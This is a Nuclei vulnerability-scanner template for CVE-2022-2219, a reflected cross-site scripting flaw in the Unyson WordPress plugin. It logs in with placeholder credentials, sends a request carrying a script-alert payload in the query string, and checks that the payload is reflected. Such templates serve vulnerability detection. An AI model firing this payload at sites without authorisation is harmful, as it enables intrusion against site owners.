nuclei-templates/http/cves/2022/CVE-2022-2219.yaml

53 lines
1.8 KiB
YAML

id: CVE-2022-2219
info:
name: Unyson < 2.7.27 - Cross Site Scripting
author: r3Y3r53
severity: high
description: |
The plugin does not sanitise and escape the QUERY_STRING before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting in browsers which do not encode characters
remediation: Fixed in version 2.7.27
reference:
- https://wpscan.com/vulnerability/1240797c-7f45-4c36-83f0-501c544ce76a
- https://nvd.nist.gov/vuln/detail/CVE-2022-2219
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cve-id: CVE-2022-2219
cwe-id: CWE-79
epss-score: 0.00179
epss-percentile: 0.54975
cpe: cpe:2.3:a:brizy:unyson:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: brizy
product: unyson
framework: wordpress
tags: authenticated,cve,cve2022,wordpress,wp,xss,unyson,wp-plugin,wpscan
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=fw-extensions&sub-page=extension&extension=feedback<script>alert(document.domain)</script> HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
redirects: true
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(header_2, "text/html")'
- 'contains(body_2, "script%3Ealert%28document.domain%29%3C%2Fscript%3")'
- 'contains(body_2, "Unyson")'
condition: and
# digest: 4a0a00473045022055d4b0176b49be4d2781cd903233f2916cc62ea953fd0ef183c6f0940c665621022100dc479d6f6a6fa22a4b06cf4817ed57b3b27abcfca5a06bc61a9348f72447a11f:922c64590222798bb761d5b6d8e72950